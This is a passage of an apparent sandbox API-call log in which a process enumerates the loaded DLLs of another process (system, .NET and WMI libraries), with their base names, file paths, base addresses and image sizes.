lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0055.539] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75ad0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0055.539] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74f40000, lpmodinfo=0x2762384, cb=0xc | out: lpmodinfo=0x2762384*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0055.540] GetLastError () returned 0x2 [0055.540] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74f40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0055.540] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74f40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0055.540] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75130000, lpmodinfo=0x2763480, cb=0xc | out: lpmodinfo=0x2763480*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0055.541] GetLastError () returned 0x2 [0055.541] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0055.541] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0055.541] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75090000, lpmodinfo=0x276456c, cb=0xc | out: lpmodinfo=0x276456c*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0055.542] GetLastError () returned 0x2 [0055.542] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75090000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0055.542] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75090000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0055.542] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75b60000, lpmodinfo=0x27656f0, cb=0xc | out: lpmodinfo=0x27656f0*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0055.543] GetLastError () returned 0x2 [0055.543] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75b60000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0055.543] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75b60000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0055.544] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75150000, lpmodinfo=0x27667e4, cb=0xc | out: lpmodinfo=0x27667e4*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0055.544] GetLastError () returned 0x2 [0055.544] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75150000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0055.545] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75150000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0055.545] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74a90000, lpmodinfo=0x27678d8, cb=0xc | out: lpmodinfo=0x27678d8*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0055.545] GetLastError () returned 0x2 [0055.545] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74a90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0055.546] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74a90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0055.546] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74000000, lpmodinfo=0x27689d4, cb=0xc | out: lpmodinfo=0x27689d4*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0055.547] GetLastError () returned 0x2 [0055.547] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74000000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0055.547] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74000000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0055.547] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749f0000, lpmodinfo=0x2769b0c, cb=0xc | out: lpmodinfo=0x2769b0c*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0055.548] GetLastError () returned 0x2 [0055.548] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0055.548] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0055.549] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75fd0000, lpmodinfo=0x276aca0, cb=0xc | out: lpmodinfo=0x276aca0*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0055.549] GetLastError () returned 0x2 [0055.549] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75fd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0055.550] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75fd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0055.550] GetModuleInformation (in: hProcess=0x4e4, hModule=0x755e0000, lpmodinfo=0x276bd9c, cb=0xc | out: lpmodinfo=0x276bd9c*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0055.551] GetLastError () returned 0x2 [0055.551] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x755e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0055.551] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x755e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0055.552] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749e0000, lpmodinfo=0x276ce90, cb=0xc | out: lpmodinfo=0x276ce90*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0055.552] GetLastError () returned 0x2 [0055.552] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0055.553] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0055.553] GetModuleInformation (in: hProcess=0x4e4, hModule=0x729c0000, lpmodinfo=0x276df8c, cb=0xc | out: lpmodinfo=0x276df8c*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0055.554] GetLastError () returned 0x2 [0055.554] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x729c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0055.554] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x729c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0055.555] GetModuleInformation (in: hProcess=0x4e4, hModule=0x745d0000, lpmodinfo=0x276f124, cb=0xc | out: lpmodinfo=0x276f124*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0055.555] GetLastError () returned 0x2 [0055.555] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x745d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0055.556] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x745d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0055.556] GetModuleInformation (in: hProcess=0x4e4, hModule=0x747d0000, lpmodinfo=0x2770220, cb=0xc | out: lpmodinfo=0x2770220*(lpBaseOfDll=0x747d0000, SizeOfImage=0x16000, EntryPoint=0x747d2dc3)) returned 1 [0055.557] GetLastError () returned 0x2 [0055.557] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x747d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0055.557] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x747d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0055.558] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74790000, lpmodinfo=0x277131c, cb=0xc | out: lpmodinfo=0x277131c*(lpBaseOfDll=0x74790000, SizeOfImage=0x3b000, EntryPoint=0x7479128d)) returned 1 [0055.558] GetLastError () returned 0x2 [0055.558] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74790000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0055.559] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74790000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0055.560] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74920000, lpmodinfo=0x2772418, cb=0xc | out: lpmodinfo=0x2772418*(lpBaseOfDll=0x74920000, SizeOfImage=0x5b000, EntryPoint=0x74964d48)) returned 1 [0055.560] GetLastError () returned 0x2 [0055.560] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74920000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0055.561] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74920000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0055.561] GetModuleInformation (in: hProcess=0x4e4, hModule=0x71a80000, lpmodinfo=0x2773550, cb=0xc | out: lpmodinfo=0x2773550*(lpBaseOfDll=0x71a80000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0055.562] GetLastError () returned 0x2 [0055.562] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x71a80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0055.562] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x71a80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0055.563] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73e70000, lpmodinfo=0x27746dc, cb=0xc | out: lpmodinfo=0x27746dc*(lpBaseOfDll=0x73e70000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0055.564] GetLastError () returned 0x2 [0055.564] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73e70000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0055.564] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73e70000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0055.565] GetModuleInformation (in: hProcess=0x4e4, hModule=0x70ea0000, lpmodinfo=0x2775898, cb=0xc | out: lpmodinfo=0x2775898*(lpBaseOfDll=0x70ea0000, SizeOfImage=0xbde000, EntryPoint=0x0)) returned 1 [0055.565] GetLastError () returned 0x2 [0055.565] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x70ea0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0055.566] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x70ea0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\system.windows.forms.ni.dll")) returned 0x80 [0055.567] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73cd0000, lpmodinfo=0x2776b88, cb=0xc | out: lpmodinfo=0x2776b88*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0055.567] GetLastError () returned 0x2 [0055.567] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73cd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0055.568] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73cd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0055.568] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749c0000, lpmodinfo=0x2777d6c, cb=0xc | out: lpmodinfo=0x2777d6c*(lpBaseOfDll=0x749c0000, SizeOfImage=0x17000, EntryPoint=0x749c35fa)) returned 1 [0055.569] GetLastError () returned 0x2 [0055.569] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0055.570] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0055.570] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749b0000, lpmodinfo=0x2778e68, cb=0xc | out: lpmodinfo=0x2778e68*(lpBaseOfDll=0x749b0000, SizeOfImage=0xe000, EntryPoint=0x749b1235)) returned 1 [0055.571] GetLastError () returned 0x2 [0055.571] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RpcRtRemote.dll") returned 0xf [0055.572] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")) returned 0x23 [0055.572] GetModuleInformation (in: hProcess=0x4e4, hModule=0x752b0000, lpmodinfo=0x2779f74, cb=0xc | out: lpmodinfo=0x2779f74*(lpBaseOfDll=0x752b0000, SizeOfImage=0x83000, EntryPoint=0x752b23d2)) returned 1 [0055.573] GetLastError () returned 0x2 [0055.573] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x752b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0055.574] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x752b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0055.574] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75220000, lpmodinfo=0x277b070, cb=0xc | out: lpmodinfo=0x277b070*(lpBaseOfDll=0x75220000, SizeOfImage=0x8f000, EntryPoint=0x75223fb1)) returned 1 [0055.575] GetLastError () returned 0x2 [0055.575] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75220000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0055.576] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75220000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0055.576] GetModuleInformation (in: hProcess=0x4e4, hModule=0x748e0000, lpmodinfo=0x277c174, cb=0xc | out: lpmodinfo=0x277c174*(lpBaseOfDll=0x748e0000, SizeOfImage=0x31000, EntryPoint=0x748e12d7)) returned 1 [0055.577] GetLastError () returned 0x2 [0055.577] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x748e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemdisp.dll") returned 0xc [0055.578] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x748e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll")) returned 0x25 [0055.578] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74880000, lpmodinfo=0x277d280, cb=0xc | out: lpmodinfo=0x277d280*(lpBaseOfDll=0x74880000, SizeOfImage=0x5c000, EntryPoint=0x748a2b48)) returned 1 [0055.579] GetLastError () returned 0x2 [0055.579] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74880000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemcomn.dll") returned 0xc [0055.580] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74880000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")) returned 0x20 [0055.581] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75bc0000, lpmodinfo=0x277e384, cb=0xc | out: lpmodinfo=0x277e384*(lpBaseOfDll=0x75bc0000, SizeOfImage=0x35000, EntryPoint=0x75bc145d)) returned 1 [0055.582] GetLastError () returned 0x2 [0055.582] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75bc0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WS2_32.dll") returned 0xa [0055.582] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75bc0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\WS2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")) returned 0x1e [0055.583] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d30000, lpmodinfo=0x277f480, cb=0xc | out: lpmodinfo=0x277f480*(lpBaseOfDll=0x74d30000, SizeOfImage=0x6000, EntryPoint=0x74d31782)) returned 1 [0055.584] GetLastError () returned 0x2 [0055.584] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NSI.dll") returned 0x7 [0055.584] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\NSI.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")) returned 0x1b [0055.585] GetModuleInformation (in: hProcess=0x4e4, hModule=0x749a0000, lpmodinfo=0x278056c, cb=0xc | out: lpmodinfo=0x278056c*(lpBaseOfDll=0x749a0000, SizeOfImage=0xa000, EntryPoint=0x749a149a)) returned 1 [0055.586] GetLastError () returned 0x2 [0055.586] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x749a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemprox.dll") returned 0xc [0055.587] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x749a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")) returned 0x25 [0055.588] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74980000, lpmodinfo=0x2781678, cb=0xc | out: lpmodinfo=0x2781678*(lpBaseOfDll=0x74980000, SizeOfImage=0x17000, EntryPoint=0x749876c5)) returned 1 [0055.588] GetLastError () returned 0x2 [0055.588] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wmiutils.dll") returned 0xc [0055.589] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")) returned 0x25 [0055.590] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74870000, lpmodinfo=0x2782784, cb=0xc | out: lpmodinfo=0x2782784*(lpBaseOfDll=0x74870000, SizeOfImage=0xf000, EntryPoint=0x748721a0)) returned 1 [0055.591] GetLastError () returned 0x2 [0055.591] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74870000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemsvc.dll") returned 0xb [0055.591] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74870000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")) returned 0x24 [0055.592] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73c30000, lpmodinfo=0x278388c, cb=0xc | out: lpmodinfo=0x278388c*(lpBaseOfDll=0x73c30000, SizeOfImage=0x96000, EntryPoint=0x73c4f8b9)) returned 1 [0055.593] GetLastError () returned 0x2 [0055.593] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73c30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fastprox.dll") returned 0xc [0055.594] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73c30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")) returned 0x25 [0055.595] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74850000, lpmodinfo=0x2784998, cb=0xc | out: lpmodinfo=0x2784998*(lpBaseOfDll=0x74850000, SizeOfImage=0x18000, EntryPoint=0x74851335)) returned 1 [0055.595] GetLastError () returned 0x2 [0055.595] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74850000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NTDSAPI.dll") returned 0xb [0055.596] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74850000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\NTDSAPI.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")) returned 0x1f [0055.597] GetModuleInformation (in: hProcess=0x4e4, hModule=0x747f0000, lpmodinfo=0x2785a94, cb=0xc | out: lpmodinfo=0x2785a94*(lpBaseOfDll=0x747f0000, SizeOfImage=0x5f000, EntryPoint=0x747f2134)) returned 1 [0055.598] GetLastError () returned 0x2 [0055.598] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x747f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SXS.DLL") returned 0x7 [0055.599] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x747f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\SXS.DLL" (normalized: "c:\\windows\\system32\\sxs.dll")) returned 0x1b [0055.599] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74750000, lpmodinfo=0x2786b80, cb=0xc | out: lpmodinfo=0x2786b80*(lpBaseOfDll=0x74750000, SizeOfImage=0x3a000, EntryPoint=0x0)) returned 1 [0055.600] GetLastError () returned 0x2 [0055.600] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74750000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.ni.dll") returned 0x17 [0055.601] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74750000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\CustomMarshalers.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\custommarshalers\\bf7e7494e75e32979c7824a07570a8a9\\custommarshalers.ni.dll")) returned 0x78 [0055.602] GetModuleInformation (in: hProcess=0x4e4, hModule=0x60350000, lpmodinfo=0x2787d48, cb=0xc | out: lpmodinfo=0x2787d48*(lpBaseOfDll=0x60350000, SizeOfImage=0x15000, EntryPoint=0x603547b6)) returned 1 [0055.603] GetLastError () returned 0x2 [0055.603] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x60350000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.dll") returned 0x14 [0055.604] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x60350000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")) returned 0x5a [0055.604] GetModuleInformation (in: hProcess=0x4e4, hModule=0x73b20000, lpmodinfo=0x2788ed0, cb=0xc | out: lpmodinfo=0x2788ed0*(lpBaseOfDll=0x73b20000, SizeOfImage=0x104000, EntryPoint=0x0)) returned 1 [0055.605] GetLastError () returned 0x2 [0055.605] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x73b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Management.ni.dll") returned 0x18 [0055.606] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x73b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")) returned 0x7a [0055.607] GetModuleInformation (in: hProcess=0x4e4, hModule=0x6a310000, lpmodinfo=0x278a0a0, cb=0xc | out: lpmodinfo=0x278a0a0*(lpBaseOfDll=0x6a310000, SizeOfImage=0x9000, EntryPoint=0x6a31389b)) returned 1 [0055.608] GetLastError () returned 0x2 [0055.608] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x6a310000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wminet_utils.dll") returned 0x10 [0055.609] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x6a310000, lpFilename=0x787820, nSize=0x800 | out: 